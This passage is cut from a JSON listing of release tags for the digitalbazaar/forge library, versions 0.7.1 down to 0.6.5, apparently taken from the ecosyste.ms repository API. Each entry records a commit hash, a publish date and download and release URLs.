ha":"11e0cdccf190ff74e2b38d7fff06afebda29f5f5","kind":"commit","published_at":"2017-03-27T21:50:09.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.1","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.1/manifests","release_url":null},{"name":"0.7.0","sha":"df77afbcca98b068ddd618d1698e841d6060c0de","kind":"commit","published_at":"2017-02-07T22:32:25.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.7.0","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.7.0/manifests","release_url":null},{"name":"0.6.49","sha":"69e348726e9f6e835696e9b7024ee08695809532","kind":"commit","published_at":"2017-02-07T02:55:56.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.49","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.49/manifests","release_url":null},{"name":"0.6.48","sha":"34d3c83412bd3a26e5e76055c9b6544b635d7148","kind":"commit","published_at":"2017-01-25T01:11:02.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.48","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.48/manifests","release_url":null},{"name":"0.6.47","sha":"c9f06ad0c56d3ec67fbd74a9e7fac4619b8f563c","kind":"commit","published_at":"2017-01-14T03:24:37.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.47","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.47/manifests","release_url":null},{"name":"0.6.46","sha":"5261b178defc1f92f1b642165d5662b66eab6285","kind":"commit","published_at":"2016-12-07T18:13:07.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.46","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.46/manifests","release_url":null},{"name":"0.6.45","sha":"d1b19f9500e548fef0f731e9b3a3f3d4c00d31e7","kind":"commit","published_at":"2016-10-29T17:48:35.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.45","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.45/manifests","release_url":null},{"name":"0.6.44","sha":"f9dcb9e3bd92afd77ae959933c99c174e613abae","kind":"commit","published_at":"2016-10-18T15:15:41.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.44","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.44/manifests","release_url":null},{"name":"0.6.43","sha":"7b4fb9da74c3692b516c61b7ea68dd91191a7bbb","kind":"commit","published_at":"2016-10-07T15:25:28.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.43","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.43/manifests","release_url":null},{"name":"0.6.42","sha":"467500ca5e8293e7b02817f2d9157fa9d0c66d79","kind":"commit","published_at":"2016-08-04T15:32:19.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.42","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.42/manifests","release_url":null},{"name":"0.6.41","sha":"7ab3d030a321b462dda870ba8963aa94e653ad19","kind":"commit","published_at":"2016-07-15T15:12:23.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.41","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.41/manifests","release_url":null},{"name":"0.6.40","sha":"df2e93eee6b76e29987969dbfb39875a95b4f003","kind":"commit","published_at":"2016-06-28T17:32:21.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.40","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.40/manifests","release_url":null},{"name":"0.6.39","sha":"4dd7e02669a5706e9c71dce67f2127299b24efe0","kind":"commit","published_at":"2016-02-12T15:00:45.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.39","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.39/manifests","release_url":null},{"name":"0.6.38","sha":"113a8c25d7627c42d57eb771b04724f6717b01b5","kind":"commit","published_at":"2015-11-10T18:07:52.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.38","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.38/manifests","release_url":null},{"name":"0.6.37","sha":"e8e6ecbab88370be2dd561e30b54bf0fdd1045d7","kind":"commit","published_at":"2015-10-23T04:49:44.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.37","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.37/manifests","release_url":null},{"name":"0.6.35","sha":"e2107549cf5d261629d3a72ef5ca76d3e6a28df0","kind":"commit","published_at":"2015-09-26T14:45:44.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.35","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.35/manifests","release_url":null},{"name":"0.6.34","sha":"f7e6f8d02cf2111eb6c28f11758330fd08d2cebd","kind":"commit","published_at":"2015-06-30T20:59:09.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.34","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.34/manifests","release_url":null},{"name":"0.6.33","sha":"90bb96b8ff545eb884a2ef716b2ae208334f8848","kind":"commit","published_at":"2015-06-25T23:58:33.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.33","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.33/manifests","release_url":null},{"name":"0.6.32","sha":"74dc542208cf64526f21e7ecd059b51b505ba188","kind":"commit","published_at":"2015-06-25T02:58:11.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.32","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.32/manifests","release_url":null},{"name":"0.6.31","sha":"7ffe33a8c952eb0a4e31762cabe43d40b7ef7101","kind":"commit","published_at":"2015-06-24T14:15:37.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.31","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.31/manifests","release_url":null},{"name":"0.6.30","sha":"c1371c62bb7675e3ec362a7959ba37d39524aa9c","kind":"commit","published_at":"2015-05-27T17:22:20.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.30","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.30/manifests","release_url":null},{"name":"0.6.29","sha":"58788ea285cc9e0696b7cd7db432396036826239","kind":"commit","published_at":"2015-05-20T02:50:36.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.29","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.29/manifests","release_url":null},{"name":"0.6.28","sha":"8e493fdf64e208ccd753da15e26afcf8f72f824b","kind":"commit","published_at":"2015-05-19T18:44:28.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.28","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.28/manifests","release_url":null},{"name":"0.6.27","sha":"82728c8e5b408d5089ef6821083d724a7cbf752c","kind":"commit","published_at":"2015-05-18T21:24:39.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.27","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.27/manifests","release_url":null},{"name":"0.6.26","sha":"a698f003f4a04d975410037215698fbd4a718a5f","kind":"commit","published_at":"2015-04-23T14:52:40.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.26","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.26/manifests","release_url":null},{"name":"0.6.25","sha":"ba72d2b8afba1f86cd8d2f5e9e8296b6b67805a9","kind":"commit","published_at":"2015-04-16T14:56:36.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.25","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.25/manifests","release_url":null},{"name":"0.6.24","sha":"e62d8db230a21899a167a618837b9cf32bf1698f","kind":"commit","published_at":"2015-04-15T20:15:56.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.24","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.24/manifests","release_url":null},{"name":"0.6.23","sha":"f40097f78e5343c6d26523600b69d348232cf076","kind":"commit","published_at":"2015-04-08T02:00:45.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.23","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.23/manifests","release_url":null},{"name":"0.6.22","sha":"7f6cef2f4e50d18219795a2a1c25f79bcdc1b135","kind":"commit","published_at":"2015-04-02T21:58:49.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.22","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.22/manifests","release_url":null},{"name":"0.6.21","sha":"875d46d0ef05f1b2a8a93b533a882c3a862f7fcf","kind":"commit","published_at":"2015-03-09T14:51:47.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.21","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.21/manifests","release_url":null},{"name":"0.6.20","sha":"7a305eec3d5879ce5c06ccc1b2bb10c89c0dadd8","kind":"commit","published_at":"2014-12-01T19:40:45.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.20","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.20/manifests","release_url":null},{"name":"0.6.19","sha":"87f580455049e54115fa7e2d5158bb7ca61d912c","kind":"commit","published_at":"2014-12-01T17:33:14.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.19","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.19/manifests","release_url":null},{"name":"0.6.18","sha":"5c936892d85cad97798c85e3e9bb2e36ddda2c6c","kind":"commit","published_at":"2014-11-12T02:04:32.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.18","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.18/manifests","release_url":null},{"name":"0.6.17","sha":"7cab1a5e6fff57a0ca6a6e6337d4e66316c5c4d6","kind":"commit","published_at":"2014-11-12T02:02:55.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.17","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.17/manifests","release_url":null},{"name":"0.6.16","sha":"bca3e277a09dc6c1f93198d0a27de2b9237e94dd","kind":"commit","published_at":"2014-10-24T16:20:19.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.16","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.16/manifests","release_url":null},{"name":"0.6.15","sha":"2b76f162d59a670bb541b89642b7687f60f92bd5","kind":"commit","published_at":"2014-10-01T16:40:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.15","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.15/manifests","release_url":null},{"name":"0.6.14","sha":"dccb01e429f93d0abdb3ff07436b3e4b3a294e08","kind":"commit","published_at":"2014-09-26T19:18:59.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.14","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.14/manifests","release_url":null},{"name":"0.6.13","sha":"525a310837ea93154a9842ec96d9a20f459a313f","kind":"commit","published_at":"2014-09-26T16:41:10.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.13","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.13/manifests","release_url":null},{"name":"0.6.12","sha":"0f8a9a54c736f2e69f8410f38ddd7143469eaabe","kind":"commit","published_at":"2014-07-21T20:25:26.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.12","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.12/manifests","release_url":null},{"name":"0.6.11","sha":"58e3b120644be14cec94201bdb1a01f3c05e580e","kind":"commit","published_at":"2014-07-08T19:53:31.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.11","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.11/manifests","release_url":null},{"name":"0.6.10","sha":"9a827d8aa66ddc1ad95a7cb8b327046c11efd41a","kind":"commit","published_at":"2014-07-07T15:28:39.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.10","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.10/manifests","release_url":null},{"name":"0.6.9","sha":"acf490b4dc41e8607d69e8060b0bb427e63b394f","kind":"commit","published_at":"2014-07-03T15:21:17.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.9","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.9/manifests","release_url":null},{"name":"0.6.8","sha":"7feebbb7f7164322331dd33b3aa9ed16f8cafb92","kind":"commit","published_at":"2014-06-23T02:45:28.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.8","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.8/manifests","release_url":null},{"name":"0.6.7","sha":"6c87508f58ffed4d5b314f61bfc0d00157f57650","kind":"commit","published_at":"2014-06-16T14:53:42.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.7","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.7/manifests","release_url":null},{"name":"0.6.6","sha":"a9eee5046fb52bb6da636542c949cf994bdfcc1d","kind":"commit","published_at":"2014-06-12T01:59:03.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.6","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/digitalbazaar%2Fforge/tags/0.6.6/manifests","release_url":null},{"name":"0.6.5","sha":"fd6894d30da5f91225a7b4a0f958c27b7c4e1585","kind":"commit","published_at":"2014-06-11T21:52:12.000Z","download_url":"https://codeload.github.com/digitalbazaar/forge/tar.gz/0.6.5","html_url":"https://github.com/digitalbazaar/forge/releases/tag/0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/digitalbazaar/forge@0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/